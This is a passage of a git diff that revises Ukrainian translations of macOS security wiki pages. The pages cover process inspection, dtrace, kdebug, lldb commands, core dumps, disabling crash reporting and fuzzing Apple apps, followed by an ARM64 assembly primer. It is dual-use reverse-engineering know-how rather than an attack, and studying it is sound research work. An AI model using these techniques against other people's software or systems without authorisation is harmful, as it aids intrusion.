надає багато інформації про кожен процес. Вам потрібно бути root, щоб отримати інформацію про інші процеси, але спеціальні права або mach порти не потрібні. +- `proc_info`: Це основний API, який надає багато інформації про кожен процес. Вам потрібно бути root, щоб отримати інформацію про інші процеси, але спеціальні права або порти mach не потрібні. - `libsysmon.dylib`: Дозволяє отримувати інформацію про процеси через функції, що надаються XPC, однак потрібно мати право `com.apple.sysmond.client`. ### Stackshot & microstackshots @@ -236,7 +236,7 @@ macOS надає деякі цікаві API, які надають інформ MacOS генерує багато журналів, які можуть бути дуже корисними при запуску програми, намагаючись зрозуміти **що вона робить**. -Більше того, є деякі журнали, які міститимуть тег ``, щоб **сховати** деяку **інформацію**, що **ідентифікує** **користувача** або **комп'ютер**. Однак можливо **встановити сертифікат для розкриття цієї інформації**. Слідуйте поясненням з [**тут**](https://superuser.com/questions/1532031/how-to-show-private-data-in-macos-unified-log). +Більше того, є деякі журнали, які міститимуть тег ``, щоб **сховати** деяку **інформацію**, що **ідентифікує** **користувача** або **комп'ютер**. Однак, можливо, **встановити сертифікат для розкриття цієї інформації**. Слідуйте поясненням з [**тут**](https://superuser.com/questions/1532031/how-to-show-private-data-in-macos-unified-log). ### Hopper @@ -246,7 +246,7 @@ MacOS генерує багато журналів, які можуть бути #### Середня панель -На середній панелі ви можете бачити **дизасембльований код**. І ви можете бачити його у **сирому** дизасемблюванні, як **граф**, як **декодований** та як **бінарний**, натискаючи на відповідну іконку: +На середній панелі ви можете бачити **дизасембльований код**. І ви можете бачити його у **сирому** дизасемблюванні, як **граф**, як **декодований** і як **бінарний**, натискаючи на відповідну іконку:
@@ -258,7 +258,7 @@ MacOS генерує багато журналів, які можуть бути #### Права панель -На правій панелі ви можете бачити цікаву інформацію, таку як **історія навігації** (щоб ви знали, як ви потрапили в поточну ситуацію), **граф викликів**, де ви можете бачити всі **функції, які викликають цю функцію**, і всі функції, які **викликає ця функція**, а також інформацію про **локальні змінні**. +На правій панелі ви можете побачити цікаву інформацію, таку як **історія навігації** (щоб ви знали, як ви потрапили в поточну ситуацію), **граф викликів**, де ви можете бачити всі **функції, які викликають цю функцію** та всі функції, які **викликає ця функція**, а також інформацію про **локальні змінні**. ### dtrace @@ -349,13 +349,13 @@ dtruss -c -p 1000 #get syscalls of PID 1000 - Видалити існуючі налаштування з KERN_KDSETREMOVE - Встановити трасування з KERN_KDSETBUF та KERN_KDSETUP -- Використовувати KERN_KDGETBUF, щоб отримати кількість записів у буфері -- Отримати власного клієнта з трасування з KERN_KDPINDEX +- Використовувати KERN_KDGETBUF для отримання кількості записів буфера +- Отримати власного клієнта з трасування за допомогою KERN_KDPINDEX - Увімкнути трасування з KERN_KDENABLE - Прочитати буфер, викликавши KERN_KDREADTR - Щоб зіставити кожен потік з його процесом, викликати KERN_KDTHRMAP. -Щоб отримати цю інформацію, можна використовувати інструмент Apple **`trace`** або спеціальний інструмент [kDebugView (kdv)](https://newosxbook.com/tools/kdv.html)**.** +Щоб отримати цю інформацію, можна використовувати інструмент Apple **`trace`** або власний інструмент [kDebugView (kdv)](https://newosxbook.com/tools/kdv.html)**.** **Зверніть увагу, що Kdebug доступний лише для 1 клієнта одночасно.** Тому лише один інструмент на базі k-debug може бути виконаний одночасно. @@ -398,7 +398,7 @@ Kperf також має таблицю MIB sysctl: (як root) `sysctl kperf`. ### Crescendo -[**Crescendo**](https://github.com/SuprHackerSteve/Crescendo) є GUI-інструментом, який має вигляд і відчуття, знайомі користувачам Windows з _Procmon_ від Microsoft Sysinternal. Цей інструмент дозволяє записувати різні типи подій, які можна почати і зупинити, дозволяє фільтрувати ці події за категоріями, такими як файл, процес, мережа тощо, і надає функціональність для збереження записаних подій у форматі json. +[**Crescendo**](https://github.com/SuprHackerSteve/Crescendo) є GUI-інструментом з виглядом і відчуттям, які можуть бути знайомі користувачам Windows з _Procmon_ від Microsoft Sysinternal. Цей інструмент дозволяє записувати різні типи подій, які можна почати і зупинити, дозволяє фільтрувати ці події за категоріями, такими як файл, процес, мережа тощо, і надає функціональність для збереження записаних подій у форматі json. ### Apple Instruments @@ -416,7 +416,7 @@ fs_usage -w -f network curl #This tracks network actions ### TaskExplorer [**Taskexplorer**](https://objective-see.com/products/taskexplorer.html) корисний для перегляду **бібліотек**, які використовуються бінарним файлом, **файлів**, які він використовує, та **мережевих** з'єднань.\ -Він також перевіряє бінарні процеси на **virustotal** та показує інформацію про бінарний файл. +Він також перевіряє бінарні процеси на **virustotal** і показує інформацію про бінарний файл. ## PT_DENY_ATTACH @@ -438,7 +438,7 @@ settings set target.x86-disassembly-flavor intel > [!WARNING] > Всередині lldb, скиньте процес за допомогою `process save-core` -
(lldb) КомандаОпис
run (r)Початок виконання, яке триватиме безперервно, поки не буде досягнуто точки зупинки або процес не завершиться.
process launch --stop-at-entryПочати виконання, зупиняючись на точці входу
continue (c)Продовжити виконання налагоджуваного процесу.
nexti (n / ni)Виконати наступну інструкцію. Ця команда пропустить виклики функцій.
stepi (s / si)Виконати наступну інструкцію. На відміну від команди nexti, ця команда зайде всередину викликів функцій.
finish (f)Виконати решту інструкцій у поточній функції (“рамці”), повернутися та зупинитися.
control + cПризупинити виконання. Якщо процес був запущений (r) або продовжений (c), це призведе до зупинки процесу ...де б він не виконувався в даний момент.
breakpoint (b)

b main #Будь-яка функція, названа main

b <binname>`main #Головна функція бінарного файлу

b set -n main --shlib <lib_name> #Головна функція вказаного бінарного файлу

breakpoint set -r '\[NSFileManager .*\]$' #Будь-який метод NSFileManager

breakpoint set -r '\[NSFileManager contentsOfDirectoryAtPath:.*\]$'

break set -r . -s libobjc.A.dylib # Зупинка в усіх функціях цієї бібліотеки

b -a 0x0000000100004bd9

br l #Список точок зупинки

br e/dis <num> #Увімкнути/Вимкнути точку зупинки

breakpoint delete <num>

help

help breakpoint #Отримати допомогу з команди точки зупинки

help memory write #Отримати допомогу для запису в пам'ять

reg

reg read

reg read $rax

reg read $rax --format <формат>

reg write $rip 0x100035cc0

x/s <reg/memory address>Відобразити пам'ять як рядок з нульовим закінченням.
x/i <reg/memory address>Відобразити пам'ять як асемблерну інструкцію.
x/b <reg/memory address>Відобразити пам'ять як байт.
print object (po)

Це надрукує об'єкт, на який посилається параметр

po $raw

{

dnsChanger = {

"affiliate" = "";

"blacklist_dns" = ();

Зверніть увагу, що більшість API або методів Objective-C від Apple повертають об'єкти, і тому їх слід відображати за допомогою команди “print object” (po). Якщо po не дає змістовного виходу, використовуйте x/b

memorymemory read 0x000....
memory read $x0+0xf2a
memory write 0x100600000 -s 4 0x41414141 #Записати AAAA за цією адресою
memory write -f s $rip+0x11f+7 "AAAA" #Записати AAAA за адресою
disassembly

dis #Дизасемблювати поточну функцію

dis -n <funcname> #Дизасемблювати функцію

dis -n <funcname> -b <basename> #Дизасемблювати функцію
dis -c 6 #Дизасемблювати 6 рядків
dis -c 0x100003764 -e 0x100003768 # Від однієї адреси до іншої
dis -p -c 4 # Почати з поточної адреси дизасемблювання

parrayparray 3 (char **)$x1 # Перевірити масив з 3 компонентів у регістрі x1
image dump sectionsДрук карти пам'яті поточного процесу
image dump symtab <library>image dump symtab CoreNLP #Отримати адресу всіх символів з CoreNLP
+
(lldb) КомандаОпис
run (r)Початок виконання, яке триватиме безперервно, поки не буде досягнуто точки зупинки або процес не завершиться.
process launch --stop-at-entryПочати виконання, зупиняючись на точці входу
continue (c)Продовжити виконання налагоджуваного процесу.
nexti (n / ni)Виконати наступну інструкцію. Ця команда пропустить виклики функцій.
stepi (s / si)Виконати наступну інструкцію. На відміну від команди nexti, ця команда зайде всередину викликів функцій.
finish (f)Виконати решту інструкцій у поточній функції (“frame”), повернутися та зупинитися.
control + cПризупинити виконання. Якщо процес був запущений (r) або продовжений (c), це призведе до зупинки процесу ...де б він не виконувався в даний момент.
breakpoint (b)

b main #Будь-яка функція, названа main

b <binname>`main #Головна функція бінарного файлу

b set -n main --shlib <lib_name> #Головна функція вказаного бінарного файлу

breakpoint set -r '\[NSFileManager .*\]$' #Будь-який метод NSFileManager

breakpoint set -r '\[NSFileManager contentsOfDirectoryAtPath:.*\]$'

break set -r . -s libobjc.A.dylib # Зупинка в усіх функціях цієї бібліотеки

b -a 0x0000000100004bd9

br l #Список точок зупинки

br e/dis <num> #Увімкнути/Вимкнути точку зупинки

breakpoint delete <num>

help

help breakpoint #Отримати допомогу з команди точки зупинки

help memory write #Отримати допомогу для запису в пам'ять

reg

reg read

reg read $rax

reg read $rax --format <формат>

reg write $rip 0x100035cc0

x/s <reg/memory address>Відобразити пам'ять як рядок з нульовим закінченням.
x/i <reg/memory address>Відобразити пам'ять як інструкцію асемблера.
x/b <reg/memory address>Відобразити пам'ять як байт.
print object (po)

Це надрукує об'єкт, на який посилається параметр

po $raw

{

dnsChanger = {

"affiliate" = "";

"blacklist_dns" = ();

Зверніть увагу, що більшість API або методів Objective-C від Apple повертають об'єкти, і тому їх слід відображати за допомогою команди “print object” (po). Якщо po не дає змістовного виходу, використовуйте x/b

memorymemory read 0x000....
memory read $x0+0xf2a
memory write 0x100600000 -s 4 0x41414141 #Записати AAAA за цією адресою
memory write -f s $rip+0x11f+7 "AAAA" #Записати AAAA за адресою
disassembly

dis #Дизасемблювати поточну функцію

dis -n <funcname> #Дизасемблювати функцію

dis -n <funcname> -b <basename> #Дизасемблювати функцію
dis -c 6 #Дизасемблювати 6 рядків
dis -c 0x100003764 -e 0x100003768 # Від однієї адреси до іншої
dis -p -c 4 # Почати з поточної адреси дизасемблювання

parrayparray 3 (char **)$x1 # Перевірити масив з 3 компонентів у регістрі x1
image dump sectionsДрук карти пам'яті поточного процесу
image dump symtab <library>image dump symtab CoreNLP #Отримати адресу всіх символів з CoreNLP
> [!NOTE] > Коли викликається функція **`objc_sendMsg`**, регістр **rsi** містить **назву методу** як рядок з нульовим закінченням (“C”). Щоб надрукувати назву через lldb, виконайте: @@ -470,7 +470,7 @@ settings set target.x86-disassembly-flavor intel - `kern.coredump` sysctl встановлено на 1 (за замовчуванням) - Якщо процес не був suid/sgid або `kern.sugid_coredump` дорівнює 1 (за замовчуванням 0) -- Ліміт `AS_CORE` дозволяє цю операцію. Можна подавити створення дампів, викликавши `ulimit -c 0` і знову увімкнути їх за допомогою `ulimit -c unlimited`. +- Ліміт `AS_CORE` дозволяє операцію. Можна подавити створення дампів, викликавши `ulimit -c 0` і знову увімкнути їх за допомогою `ulimit -c unlimited`. У цих випадках ядрові дампи генеруються відповідно до `kern.corefile` sysctl і зазвичай зберігаються в `/cores/core/.%P`. @@ -479,10 +479,10 @@ settings set target.x86-disassembly-flavor intel ### [ReportCrash](https://ss64.com/osx/reportcrash.html) ReportCrash **аналізує процеси, що зазнали краху, і зберігає звіт про крах на диск**. Звіт про крах містить інформацію, яка може **допомогти розробнику діагностувати** причину краху.\ -Для додатків та інших процесів **в контексті запуску per-user launchd**, ReportCrash працює як LaunchAgent і зберігає звіти про крах у `~/Library/Logs/DiagnosticReports/` користувача.\ -Для демонів, інших процесів **в контексті запуску системи launchd** та інших привілейованих процесів, ReportCrash працює як LaunchDaemon і зберігає звіти про крах у `/Library/Logs/DiagnosticReports` системи. +Для додатків та інших процесів **в контексті запуску per-user**, ReportCrash працює як LaunchAgent і зберігає звіти про крах у `~/Library/Logs/DiagnosticReports/` користувача.\ +Для демонів, інших процесів **в контексті запуску системи** та інших привілейованих процесів, ReportCrash працює як LaunchDaemon і зберігає звіти про крах у `/Library/Logs/DiagnosticReports` системи. -Якщо ви турбуєтеся про те, що звіти про крах **надсилаються Apple**, ви можете їх вимкнути. Якщо ні, звіти про крах можуть бути корисними для **з'ясування, як сервер зазнав краху**. +Якщо ви стурбовані тим, що звіти про крах **надсилаються Apple**, ви можете їх вимкнути. Якщо ні, звіти про крах можуть бути корисними для **з'ясування, як сервер зазнав краху**. ```bash #To disable crash reporting: launchctl unload -w /System/Library/LaunchAgents/com.apple.ReportCrash.plist @@ -494,7 +494,7 @@ sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.ReportCrash.Root. ``` ### Сон -Під час фуззингу на MacOS важливо не дозволяти Mac засинати: +Під час фуззингу в MacOS важливо не дозволяти Mac засинати: - systemsetup -setsleep Never - pmset, Системні налаштування @@ -546,7 +546,7 @@ lldb -o "target create `which some-binary`" -o "settings set target.env-vars DYL Він "**просто працює"** з macOS GUI інструментами. Зверніть увагу, що деякі macOS додатки мають специфічні вимоги, такі як унікальні імена файлів, правильне розширення, необхідність читати файли з пісочниці (`~/Library/Containers/com.apple.Safari/Data`)... -Декілька прикладів: +Деякі приклади: ```bash # iBooks litefuzz -l -c "/System/Applications/Books.app/Contents/MacOS/Books FUZZ" -i files/epub -o crashes/ibooks -t /Users/test/Library/Containers/com.apple.iBooksX/Data/tmp -x 10 -n 100000 -ez diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md index 2c453d561..c172c0d1f 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md @@ -4,7 +4,7 @@ ## **Рівні виключень - EL (ARM64v8)** -В архітектурі ARMv8 рівні виконання, відомі як Рівні виключень (EL), визначають рівень привілеїв та можливості середовища виконання. Є чотири рівні виключень, від EL0 до EL3, кожен з яких виконує різну функцію: +У архітектурі ARMv8 рівні виконання, відомі як Рівні виключень (EL), визначають рівень привілеїв та можливості середовища виконання. Є чотири рівні виключень, від EL0 до EL3, кожен з яких виконує різну функцію: 1. **EL0 - Режим користувача**: - Це найменш привілейований рівень, який використовується для виконання звичайного коду додатків. @@ -13,7 +13,7 @@ - Більшість ядер операційних систем працюють на цьому рівні. - EL1 має більше привілеїв, ніж EL0, і може отримувати доступ до системних ресурсів, але з деякими обмеженнями для забезпечення цілісності системи. 3. **EL2 - Режим гіпервізора**: -- Цей рівень використовується для віртуалізації. Гіпервізор, що працює на EL2, може керувати кількома операційними системами (кожна у своєму EL1), що працюють на одному фізичному обладнанні. +- Цей рівень використовується для віртуалізації. Гіпервізор, що працює на EL2, може керувати кількома операційними системами (кожна у своєму EL1), що працюють на одному фізичному апаратному забезпеченні. - EL2 надає функції для ізоляції та контролю віртуалізованих середовищ. 4. **EL3 - Режим безпечного монітора**: - Це найпривілейованіший рівень, який часто використовується для безпечного завантаження та довірених середовищ виконання. @@ -29,7 +29,7 @@ ARM64 має **31 загальний реєстр**, позначений `x0` - **`x0`** також несе дані повернення функції. 2. **`x8`** - У ядрі Linux `x8` використовується як номер системного виклику для інструкції `svc`. **У macOS використовується x16!** 3. **`x9`** до **`x15`** - Більше тимчасових реєстрів, часто використовуються для локальних змінних. -4. **`x16`** та **`x17`** - **Реєстри внутрішньопроцедурного виклику**. Тимчасові реєстри для негайних значень. Вони також використовуються для непрямих викликів функцій та PLT (таблиця зв'язків процедур). +4. **`x16`** та **`x17`** - **Реєстри внутрішньопроцедурного виклику**. Тимчасові реєстри для негайних значень. Вони також використовуються для непрямих викликів функцій та PLT (таблиці зв'язків процедур). - **`x16`** використовується як **номер системного виклику** для інструкції **`svc`** в **macOS**. 5. **`x18`** - **Реєстр платформи**. Може використовуватися як загальний реєстр, але на деяких платформах цей реєстр зарезервований для специфічних для платформи використань: вказівник на блок середовища поточного потоку в Windows або вказівник на структуру **виконуваного завдання в ядрі linux**. 6. **`x19`** до **`x28`** - Це реєстри, збережені викликом. Функція повинна зберігати значення цих реєстрів для свого виклику, тому вони зберігаються в стеку та відновлюються перед поверненням до виклику. @@ -39,22 +39,22 @@ ARM64 має **31 загальний реєстр**, позначений `x0` - Його також можна використовувати як будь-який інший реєстр. - Якщо поточна функція збирається викликати нову функцію і, отже, перезаписати `lr`, вона спочатку зберігає його в стеку, це епілог (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Зберегти `fp` та `lr`, створити простір і отримати новий `fp`) і відновлює його в кінці, це пролог (`ldp x29, x30, [sp], #48; ret` -> Відновити `fp` та `lr` і повернутися). 9. **`sp`** - **Вказівник стеку**, використовується для відстеження верхньої частини стеку. -- Значення **`sp`** завжди повинно зберігатися принаймні на **квадратному** **вирівнюванні**, інакше може виникнути виняток вирівнювання. -10. **`pc`** - **Лічильник програми**, який вказує на наступну інструкцію. Цей реєстр може оновлюватися лише через генерацію виключень, повернення з виключень та переходи. Єдині звичайні інструкції, які можуть читати цей реєстр, - це переходи з посиланням (BL, BLR), щоб зберегти адресу **`pc`** в **`lr`** (реєстр зв'язку). -11. **`xzr`** - **Нульовий реєстр**. Також називається **`wzr`** у його **32**-бітній формі. Може використовуватися для отримання нульового значення легко (звичайна операція) або для виконання порівнянь за допомогою **`subs`**, таких як **`subs XZR, Xn, #10`**, зберігаючи результуючі дані нікуди (в **`xzr`**). +- Значення **`sp`** завжди повинно зберігатися принаймні з **вирівнюванням** **quadword**, інакше може виникнути виняток вирівнювання. +10. **`pc`** - **Лічильник програми**, який вказує на наступну інструкцію. Цей реєстр може бути оновлений лише через генерацію виключень, повернення з виключень та переходи. Єдині звичайні інструкції, які можуть читати цей реєстр, - це переходи з посиланням (BL, BLR), щоб зберегти адресу **`pc`** в **`lr`** (реєстр зв'язку). +11. **`xzr`** - **Нульовий реєстр**. Також називається **`wzr`** у його **32**-бітній формі. Може використовуватися для отримання нульового значення (звичайна операція) або для виконання порівнянь за допомогою **`subs`**, таких як **`subs XZR, Xn, #10`**, зберігаючи результуючі дані нікуди (в **`xzr`**). Реєстри **`Wn`** є **32-бітною** версією реєстрів **`Xn`**. ### SIMD та плаваючі реєстри -Крім того, є ще **32 реєстри довжиною 128 біт**, які можуть використовуватися в оптимізованих операціях з одночасним виконанням (SIMD) та для виконання арифметики з плаваючою комою. Вони називаються реєстрами Vn, хоча вони також можуть працювати в **64**-бітному, **32**-бітному, **16**-бітному та **8**-бітному режимах, і тоді їх називають **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** та **`Bn`**. +Крім того, є ще **32 реєстри довжиною 128 біт**, які можуть використовуватися в оптимізованих операціях з одноразовими інструкціями (SIMD) та для виконання арифметики з плаваючою комою. Вони називаються реєстрами Vn, хоча вони також можуть працювати в **64**-бітному, **32**-бітному, **16**-бітному та **8**-бітному режимах, і тоді їх називають **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** та **`Bn`**. ### Системні реєстри **Є сотні системних реєстрів**, також відомих як спеціалізовані реєстри (SPRs), які використовуються для **моніторингу** та **контролю** поведінки **процесорів**.\ Вони можуть бути прочитані або встановлені лише за допомогою спеціальних інструкцій **`mrs`** та **`msr`**. -Спеціальні реєстри **`TPIDR_EL0`** та **`TPIDDR_EL0`** зазвичай зустрічаються під час реверсного інжинірингу. Суфікс `EL0` вказує на **мінімальне виключення**, з якого можна отримати доступ до реєстру (в цьому випадку EL0 - це звичайний рівень виключення (привілеїв), з яким працюють звичайні програми).\ +Спеціальні реєстри **`TPIDR_EL0`** та **`TPIDDR_EL0`** зазвичай зустрічаються під час реверс-інжинірингу. Суфікс `EL0` вказує на **мінімальне виключення**, з якого реєстр може бути доступний (в цьому випадку EL0 - це звичайний рівень виключення (привілеїв), з яким працюють звичайні програми).\ Вони часто використовуються для зберігання **базової адреси регіону пам'яті локального зберігання потоку**. Зазвичай перший з них є читабельним і записуваним для програм, що працюють на EL0, але другий може бути прочитаний з EL0 і записаний з EL1 (як ядро). - `mrs x0, TPIDR_EL0 ; Прочитати TPIDR_EL0 в x0` @@ -75,24 +75,24 @@ ARM64 має **31 загальний реєстр**, позначений `x0` - Сума двох позитивних чисел дає негативний результат. - Сума двох негативних чисел дає позитивний результат. - У відніманні, коли велике негативне число віднімається від меншого позитивного числа (або навпаки), і результат не може бути представленим у межах заданого розміру біта. -- Очевидно, процесор не знає, чи операція підписана чи ні, тому він перевірить C та V в операціях і вказує, чи відбулося перенесення у випадку, якщо це було підписане або без підпису. +- Очевидно, процесор не знає, чи операція підписана чи ні, тому він перевіряє C та V в операціях і вказує, чи відбулося перенесення у випадку, якщо це було підписане або без підпису. > [!WARNING] > Не всі інструкції оновлюють ці прапори. Деякі, такі як **`CMP`** або **`TST`**, роблять це, а інші, які мають суфікс s, такі як **`ADDS`**, також це роблять. -- Поточний **прапор ширини реєстру (`nRW`)**: Якщо прапор має значення 0, програма буде виконуватися в стані виконання AArch64 після відновлення. +- Поточний **прапор ширини реєстра** (`nRW`): Якщо прапор має значення 0, програма буде виконуватися в стані виконання AArch64 після відновлення. - Поточний **рівень виключення** (**`EL`**): Звичайна програма, що працює на EL0, матиме значення 0. - Прапор **одиночного кроку** (**`SS`**): Використовується відладчиками для одиночного кроку, встановлюючи прапор SS в 1 всередині **`SPSR_ELx`** через виключення. Програма виконає крок і видасть виключення одиночного кроку. -- Прапор **недопустимого виключення** (**`IL`**): Використовується для позначення, коли привілейоване програмне забезпечення виконує недопустимий перехід рівня виключення, цей прапор встановлюється в 1, і процесор викликає виключення недопустимого стану. +- Прапор **недопустимого виключення** (**`IL`**): Використовується для позначення, коли привілейоване програмне забезпечення виконує недопустимий перехід на рівень виключення, цей прапор встановлюється в 1, і процесор викликає виключення недопустимого стану. - Прапори **`DAIF`**: Ці прапори дозволяють привілейованій програмі вибірково маскувати певні зовнішні виключення. -- Якщо **`A`** дорівнює 1, це означає, що будуть викликані **асинхронні перерви**. **`I`** налаштовує відповідь на зовнішні запити переривання (IRQ). а F пов'язаний з **швидкими запитами переривання** (FIR). +- Якщо **`A`** дорівнює 1, це означає, що будуть викликані **асинхронні перерви**. **`I`** налаштовує відповідь на зовнішні запити переривань (IRQ). а F пов'язаний з **швидкими запитами переривань** (FIR). - Прапори **вибору вказівника стеку** (**`SPS`**): Привілейовані програми, що працюють на EL1 та вище, можуть перемикатися між використанням свого власного реєстру вказівника стеку та реєстром моделі користувача (наприклад, між `SP_EL1` та `EL0`). Це перемикання виконується шляхом запису в спеціальний реєстр **`SPSel`**. Це не можна зробити з EL0. ## **Конвенція виклику (ARM64v8)** Конвенція виклику ARM64 вказує, що **перші вісім параметрів** до функції передаються в реєстрах **`x0` до `x7`**. **Додаткові** параметри передаються на **стек**. Значення **повернення** передається назад у реєстр **`x0`**, або в **`x1`**, якщо воно довжиною 128 біт. Реєстри **`x19`** до **`x30`** та **`sp`** повинні бути **збережені** під час викликів функцій. -При читанні функції в асемблері шукайте **пролог та епілог функції**. **Пролог** зазвичай включає **збереження вказівника кадру (`x29`)**, **налаштування** нового **вказівника кадру** та **виділення простору в стеку**. **Епілог** зазвичай включає **відновлення збереженого вказівника кадру** та **повернення** з функції. +Коли читаєте функцію в асемблері, шукайте **пролог та епілог функції**. **Пролог** зазвичай включає **збереження вказівника кадру (`x29`)**, **налаштування** нового **вказівника кадру** та **виділення простору в стеку**. **Епілог** зазвичай включає **відновлення збереженого вказівника кадру** та **повернення** з функції. ### Конвенція виклику в Swift @@ -109,20 +109,20 @@ Swift має свою власну **конвенцію виклику**, яку - **Режим зсуву**: Зсув, що впливає на початковий вказівник, вказується, наприклад: - `ldr x2, [x1, #8]`, це завантажить в x2 значення з x1 + 8 - `ldr x2, [x0, x1, lsl #2]`, це завантажить в x2 об'єкт з масиву x0, з позиції x1 (індекс) \* 4 -- **Режим попереднього індексування**: Це застосує обчислення до початкового, отримає результат і також зберігає новий початок у початковому. +- **Режим попереднього індексу**: Це застосує обчислення до початкового, отримає результат і також зберігає новий початок у початковому. - `ldr x2, [x1, #8]!`, це завантажить `x1 + 8` в `x2` і зберігає в x1 результат `x1 + 8` - `str lr, [sp, #-4]!`, Зберегти реєстр зв'язку в sp і оновити реєстр sp -- **Режим постіндексування**: Це як попередній, але адреса пам'яті спочатку доступна, а потім обчислюється та зберігається зсув. +- **Режим постіндексу**: Це схоже на попередній, але адреса пам'яті спочатку доступна, а потім зсув обчислюється та зберігається. - `ldr x0, [x1], #8`, завантажити `x1` в `x0` і оновити x1 з `x1 + 8` - **Адресація відносно PC**: У цьому випадку адреса для завантаження обчислюється відносно реєстру PC - `ldr x1, =_start`, Це завантажить адресу, де символ `_start` починається в x1, відносно поточного PC. - **`str`**: **Зберегти** значення з **реєстру** в **пам'ять**. - Приклад: `str x0, [x1]` — Це зберігає значення в `x0` в пам'яті, на яку вказує `x1`. - **`ldp`**: **Завантажити пару реєстрів**. Ця інструкція **завантажує два реєстри** з **послідовних** адрес пам'яті. Адреса пам'яті зазвичай формується шляхом додавання зсуву до значення в іншому реєстрі. -- Приклад: `ldp x0, x1, [x2]` — Це завантажує `x0` та `x1` з адрес пам'яті за `x2` та `x2 + 8`, відповідно. +- Приклад: `ldp x0, x1, [x2]` — Це завантажує `x0` та `x1` з пам'яті за адресами `x2` та `x2 + 8`, відповідно. - **`stp`**: **Зберегти пару реєстрів**. Ця інструкція **зберігає два реєстри** в **послідовні** адреси пам'яті. Адреса пам'яті зазвичай формується шляхом додавання зсуву до значення в іншому реєстрі. -- Приклад: `stp x0, x1, [sp]` — Це зберігає `x0` та `x1` в адресах пам'яті за `sp` та `sp + 8`, відповідно. -- `stp x0, x1, [sp, #16]!` — Це зберігає `x0` та `x1` в адресах пам'яті за `sp+16` та `sp + 24`, відповідно, і оновлює `sp` з `sp+16`. +- Приклад: `stp x0, x1, [sp]` — Це зберігає `x0` та `x1` в пам'яті за адресами `sp` та `sp + 8`, відповідно. +- `stp x0, x1, [sp, #16]!` — Це зберігає `x0` та `x1` в пам'яті за адресами `sp+16` та `sp + 24`, відповідно, і оновлює `sp` з `sp+16`. - **`add`**: **Додати** значення двох реєстрів і зберегти результат у реєстрі. - Синтаксис: add(s) Xn1, Xn2, Xn3 | #imm, \[shift #N | RRX] - Xn1 -> Призначення @@ -134,25 +134,25 @@ Swift має свою власну **конвенцію виклику**, яку - **`adds`** Це виконує `add` і оновлює прапори. - **`sub`**: **Відняти** значення двох реєстрів і зберегти результат у реєстрі. - Перевірте **`add`** **синтаксис**. -- Приклад: `sub x0, x1, x2` — Це віднімає значення в `x2` з `x1` і зберігає результат в `x0`. -- **`subs`** Це як sub, але оновлює прапор. +- Приклад: `sub x0, x1, x2` — Це віднімає значення в `x2` від `x1` і зберігає результат в `x0`. +- **`subs`** Це схоже на sub, але оновлює прапор. - **`mul`**: **Помножити** значення **двох реєстрів** і зберегти результат у реєстрі. - Приклад: `mul x0, x1, x2` — Це множить значення в `x1` та `x2` і зберігає результат в `x0`. - **`div`**: **Поділити** значення одного реєстру на інше і зберегти результат у реєстрі. - Приклад: `div x0, x1, x2` — Це ділить значення в `x1` на `x2` і зберігає результат в `x0`. - **`lsl`**, **`lsr`**, **`asr`**, **`ror`, `rrx`**: - **Логічний зсув вліво**: Додає 0 з кінця, переміщуючи інші біти вперед (множить на n разів 2). -- **Логічний зсув вправо**: Додає 1 на початку, переміщуючи інші біти назад (ділить на n разів 2 в беззнаковому). -- **Арифметичний зсув вправо**: Як **`lsr`**, але замість додавання 0, якщо найзначніший біт - 1, **додаються 1** (ділить на n разів 2 в знаковому). -- **Зсув вправо з розширенням**: Як **`ror`**, але з прапором переносу як "найзначніший біт". Тобто прапор переносу переміщується до біта 31, а видалений біт - до прапора переносу. +- **Логічний зсув вправо**: Додає 1 на початку, переміщуючи інші біти назад (ділить на n разів 2 в беззнаковому вигляді). +- **Арифметичний зсув вправо**: Як **`lsr`**, але замість додавання 0, якщо найзначніший біт - 1, **додаються 1** (ділить на n разів 2 в знаковому вигляді). +- **Зсув вправо з розширенням**: Як **`ror`**, але з прапором перенесення як "найзначнішим бітом". Тобто прапор перенесення переміщується до біта 31, а видалений біт - до прапора перенесення. - **`bfm`**: **Переміщення бітового поля**, ці операції **копіюють біти `0...n`** з значення та розміщують їх у позиціях **`m..m+n`**. **`#s`** вказує на **найлівішу позицію біта**, а **`#r`** - на **кількість зсуву вправо**. - Переміщення бітового поля: `BFM Xd, Xn, #r` - Переміщення знакового бітового поля: `SBFM Xd, Xn, #r, #s` - Переміщення беззнакового бітового поля: `UBFM Xd, Xn, #r, #s` - **Витягування та вставка бітового поля:** Копіює бітове поле з одного реєстру та копіює його в інший реєстр. -- **`BFI X1, X2, #3, #4`** Вставити 4 біти з X2 з 3-го біта X1. -- **`BFXIL X1, X2, #3, #4`** Витягнути з 3-го біта X2 чотири біти та скопіювати їх в X1. -- **`SBFIZ X1, X2, #3, #4`** Розширити знак 4 біт з X2 та вставити їх в X1, починаючи з позиції біта 3, обнуляючи праві біти. +- **`BFI X1, X2, #3, #4`** Вставляє 4 біти з X2 з 3-го біта X1. +- **`BFXIL X1, X2, #3, #4`** Витягує з 3-го біта X2 чотири біти та копіює їх в X1. +- **`SBFIZ X1, X2, #3, #4`** Розширює знак 4 біт з X2 та вставляє їх в X1, починаючи з позиції біта 3, обнуляючи праві біти. - **`SBFX X1, X2, #3, #4`** Витягує 4 біти, починаючи з біта 3 з X2, розширює їх, і поміщає результат в X1. - **`UBFIZ X1, X2, #3, #4`** Нульове розширення 4 біт з X2 та вставка їх в X1, починаючи з позиції біта 3, обнуляючи праві біти. - **`UBFX X1, X2, #3, #4`** Витягує 4 біти, починаючи з біта 3 з X2, і поміщає нульове розширене значення в X1. @@ -170,10 +170,10 @@ Swift має свою власну **конвенцію виклику**, яку - **`ccmp`**: Умовне порівняння, це порівняння, яке буде виконано лише якщо попереднє порівняння було істинним і спеціально встановить біти nzcv. - `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> якщо x1 != x2 і x3 < x4, перейти до func. - Це тому, що **`ccmp`** буде виконано лише якщо **попереднє `cmp` було `NE`**, якщо ні, біти `nzcv` будуть встановлені в 0 (що не 